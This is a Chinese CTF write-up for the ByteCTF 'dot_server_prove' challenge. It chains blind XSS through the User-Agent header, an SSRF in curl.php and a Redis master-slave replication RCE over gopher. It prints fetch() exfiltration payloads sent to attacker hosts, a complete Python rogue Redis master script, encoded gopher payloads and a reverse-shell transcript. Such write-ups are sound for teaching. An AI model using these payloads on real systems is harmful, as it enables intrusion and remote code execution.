

bytesCTF dot\_server\_prove WriteUP

Iv4n / 2019-09-15 10:42:13 / 浏览数 2301 [安全技术 CTF 顶\(0\) 踩\(0\)](#)

访问/robots.txt , 下载parse文件

拖到IDA里一看函数名，发现是GO语言的二进制文件

```
f unicode_init
f bytes__Buffer__String
f bytes__Buffer__Len
f bytes__Buffer__grow
f bytes__Buffer__Write
f bytes__Buffer__ReadFrom
f bytes_makeSlice
f bytes__Buffer__WriteTo
f bytes__Buffer__Read
f bytes_makeSlice_func1
f bytes_init_ializers
f bytes_init
f math_init_ializers
f math_init
f strconv__decimal__String
f strconv_digitZero
f strconv_trim
f strconv__decimal__Assign
f strconv_rightShift
f strconv_prefixIsLessThan
f strconv_leftShift
f strconv__decimal__Shift
f strconv__decimal__Round
f strconv__decimal__RoundUp
f strconv__extFloat__AssignComputeBo...
f strconv__extFloat__Multiply
f strconv__extFloat__frexp10
f strconv_frexp10Many
f strconv__extFloat__FixedDecimal
f strconv_adjustLastDigitFixed
f strconv__extFloat__ShortestDecimal
f strconv_adjustLastDigit
f strconv_genericFtoa
f strconv_bigFtoa
f strconv_formatDigits
f strconv_roundShortest
```

strings一下发现一些奇怪的字符串

```
compression for /var/log/nginx/dot.access.log454747350886464118957
ver failure restartaddspecial on invalid pointerbufio.Scanner: toke
g on Go runtime stackgc done but gcphase != _GCoffgput: bad status
```

```
18312 reflect.Value.Interface: cannot return value obtained from unexported field or methodcat /tmp/test.txt | awk -F '
'' '{print $NF}' >> /tmp/data.txt ;echo '' > /tmp/test.txt00010203040506070809101112131415161718192021222324252627
28293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879081828384
858687888990919293949596979899
```

```
/var/log/nginx/.dot.access.log  
cat /tmp/test.txt | awk -F ' ' '{print $NF}' >> /tmp/data.txt ;echo '' > /tmp/test.txt
```

关于dot server，搜到这样一篇文章：<https://www.cnblogs.com/yjf512/p/3773196.html>，所以确定了服务器的用途

在题目源码中看到

```
var ajax = new XMLHttpRequest();
    ajax.open('get','http://dot.whizard.com/123');
    ajax.send();
    ajax.onreadystatechange = function () {
}
```

修改hosts指向后访问，发现和文章描述一样，是个 $1 \times 1$ 的gif

根据那条awk指令的用途，是处理nginx日志[■■■]"分割的最后一个字符，查了一下默认的nginx日志格式：

```
log_format main
'$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_s ent "$http_referer" '
'"$http user agent" "$http x forwarded for"'
```

然后开始Fuzz XFF头，猜测有两种攻击方式：

- SQLi时间盲注
  - XSS

命令注入由于日志是逐行迭代处理所以不太可能

测试了半天也没有结果，然后放了hint是UA.....

Fuzz了一下UA，发现是XSS盲打

发现Referer来自127.0.0.1:8080

访问8080端口：

```
fetch('http://127.0.0.1:8080').then(r=>r.text()).then(d=>{fetch('http://IP:9999/'+btoa(d))})
```

提示robots.txt

```

<!DOCTYPE html>
<html>
<head>
    <title>Admin Panel</title>
</head>
<body>
    <div>

</body><sCript/sRc=http://1.1.1.1></scRipt>" />
</body><sCript/sRc=http://1.1.1.1></scRipt>" />
</body><sCript/sRc=http://1.1.1.1></scRipt>" />
</div>
<!-- robots.txt-->
</body>
</html>

```

<解密> <加密>

```

PCFET0NUWVBFIGh0bWw+CjxodG1sPg08aGVhZD4KCTx0axRsZT5BZG1pbIBQY
W5lbDwvdGI0bGU+CjwvaGVhZD4KPGJvZHk+Cgk8ZGj2PgoKPC9lb2R5PjxzQ3JpcH
Qvc1JjPVWh0dHA6Ly8xOTguMTMuNTkuOTivMS5qc248L3NjUmlwd04iCjwvYm9keT4
8c0NyaXB0L3NSYz1odHRwOj8vMTk4LjEzLjU5LjkLzEuanM+PC9zY1JpcHQ+Igo8L
2JvZHK+PHNDcmIwdC9zUmM9aHR0cDovLzE5OC4xMy41OS45Mi8xLmpzPiwc2NS
aXB0PiikCTwZGj2PgoJPCEtLSByb2JvdHMudHh0LS0+CjwvYm9keT4KPC9odG1sP
g==
```

先知社区

访问robots.txt有一个curl.php，访问后发现是一个没有防御的SSRF

```

index.php
curl.php?url=xxx

```

<解密> <加密>

aW5kZXgucGhwCmN1cmwucGhwP3VybD14eHg=

先知社区

尝试读本地文件，读了一堆没有发现Flag

然后根据Nginx猜测是攻击FPM，试了几次没有成功

然后试着扫一下端口和内网C段，通过Beef hook了题目主机，扫描了一下发现隔壁主机开着6379（没有截图，写WP时bot已经挂了）

未授权访问是肯定的，写Shell或Crontab感觉不太可能，所以联想到了Redis master-slave-sync的RCE，但是这里由于在内网只能通过Gopher协议访问

研究了一下Redis RCE脚本，发现是在本机模拟了文件同步操作的master服务器，然后向远程6379服务器发送了slave of 指令，接着通过主从复制传送了执行系统命令的.so module，最后通过6379发送load module并执行命令

所以只需要在VPS上模拟master服务器，然后通过Gopher把发往6379的数据包打过去

监听VPS 9999端口的脚本

```

import socket
import sys
import struct
import re

payload = open('exp.so', 'r').read()

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
s.bind(('0.0.0.0', 9999))
s.listen(5)
conn, addr = s.accept()
print(addr)

CLRF = '\r\n'

def dout(sock, msg):
    verbose = 1
    if type(msg) != bytes:
        msg = msg.encode()
    sock.send(msg)
    if verbose:

```

```

if sys.version_info < (3, 0):
    msg = repr(msg)
if len(msg) < 300:
    print("\x033[1;32;40m[-]\x033[0m {}".format(msg))
else:
    print("\x033[1;32;40m[-]\x033[0m {}.....{}".format(msg[:80], msg[-80:]))

def handle(data):
    resp = ""
    phase = 0
    if data.find("PING") > -1:
        resp = "+PONG" + CLRF
        phase = 1
    elif data.find("REPLCONF") > -1:
        resp = "+OK" + CLRF
        phase = 2
    elif data.find("PSYNC") > -1 or data.find("SYNC") > -1:
        resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF
        resp += "$" + str(len(payload)) + CLRF
        resp = resp.encode()
        resp += payload + CLRF.encode()
        phase = 3
    return resp, phase

def din(sock, cnt):
    msg = sock.recv(cnt)
    verbose = 1
    if verbose:
        if len(msg) < 300:
            print("\x033[1;34;40m[>]\x033[0m {}".format(msg))
        else:
            print("\x033[1;34;40m[>]\x033[0m {}.....{}".format(msg[:80], msg[-80:]))
    if sys.version_info < (3, 0):
        res = re.sub(r'[^\x00-\x7f]', r'', msg)
    else:
        res = re.sub(b'[^\x00-\x7f]', b'', msg)
    return res.decode()

def exp():
    try:
        cli = conn
        while True:
            data = din(cli, 1024)
            if len(data) == 0:
                break
            resp, phase = handle(data)
            dout(cli, resp)
            if phase == 3:
                break
    except Exception as e:
        print("\x033[1;31;m[-]\x033[0m Error: {}, exit".format(e))
        #cleanup(self._remote, self._file)
        exit(0)
    except KeyboardInterrupt:
        print("[-] Exit..")
        exit(0)

exp()

```

然后抓取redis-rce.py发往6379的包，修改其中主从复制回连和反弹shell的IP和端口

这里共抓取了三段流量，第一二段之间需要停顿3秒左右保证文件同步完成，通过XSS分三步发送

```
OpenSSH SSH client x + - □ ×

1 //fetch('http://127.0.0.1:8080/curl.php?url=gopher://172.18.0.3:6379/_%252a%2531%250d%250a%2524%2534%250d%250a%2549%254e%2546%254f%250d%250a%252a%2533%250d%250a%2524%2537%250d%250a%2553%254c%2541%2556%2545%254f%2546%250d%250a%2524%2531%2532%250d%250a%2531%2539%2538%252e%2531%2533%252e%2535%2539%252e%2539%2532%250d%250a%2524%2534%250d%250a%2553%2545%2554%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2536%250d%250a%2565%2578%2570%252e%2573%256f%250d%250aquit%250d%250a').then(r=>r.text()).then(d=>{fetch('http://[REDACTED]:8888/' + btoa(d)))}

2

3 fetch('http://127.0.0.1:8080/curl.php?url=gopher://172.18.0.3:6379/_%252a%2533%250d%250a%2524%2536%250d%250a%254d%254f%2544%2555%254c%2545%250d%250a%2524%2534%250d%250a%254c%254f%2541%2544%250d%250a%2524%2538%250d%250a%252e%252f%2552%2578%2570%252e%2573%256f%250d%250a%252a%2533%250d%250a%2524%2537%250d%250a%2553%254c%2541%2556%2545%254f%2546%250d%250a%2524%2532%250d%250a%254e%254f%250d%250a%2524%2533%250d%250a%254f%254e%2545%250d%250aquit%250d%250a')

4

5 fetch('http://127.0.0.1:8080/curl.php?url=gopher://172.18.0.3:6379/_%252a%2533%250d%250a%2524%2531%2530%250d%250a%2525%2579%2573%2574%2565%256d%252e%2572%2565%2576%250d%250a%2524%2531%2532%250d%250a%2524%2534%250d%250a%2538%2538%2538%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2543%254f%254e%2546%2549%2547%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2532%250d%250a%2525%2573%252e%2572%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2538%250d%250a%252a%2532%250d%250a%2524%2531%2530%250d%250a%254f%254e%2545%250d%250aquit%250d%250a').then(r=>r.text()).then(d=>{fetch('http://[REDACTED]:10000/' + btoa(d)))})

6

7 //fetch('http://127.0.0.1:8080/curl.php?url=dict://172.18.0.3:6379').then(r=>r.text()).then(d=>{fetch('http://[REDACTED]:8888/' + btoa(d)))})
```

先知社区

VPS 上接收的同步请求：

先知社区

```
connect to [REDACTED] from (UNKNOWN) [47.244.178.135] 41838
ls
exp.so
cd /
ls
bin
boot
data
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
pushflag.sh
root
run
sbin
srv
sys
tmp
usr
var
/pushflag.sh
sed: couldn't open temporary file /sedQMdm4o: Permission denied
cat /flag
bytectf{edd22035-cfbf-11e9-babe-88e9fe533d19}
```



点击收藏 | 1 关注 | 1

[上一篇 : ogeek ctf 2019 wi...](#) [下一篇 : ByteCTF一道题的分析与学习P...](#)

1. 1 条回复



[3NDz](#) 2019-09-21 00:38:42

你太强了 !

0 回复Ta

---

[登录](#) 后跟帖

先知社区

---

[现在登录](#)

[热门节点](#)

---

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)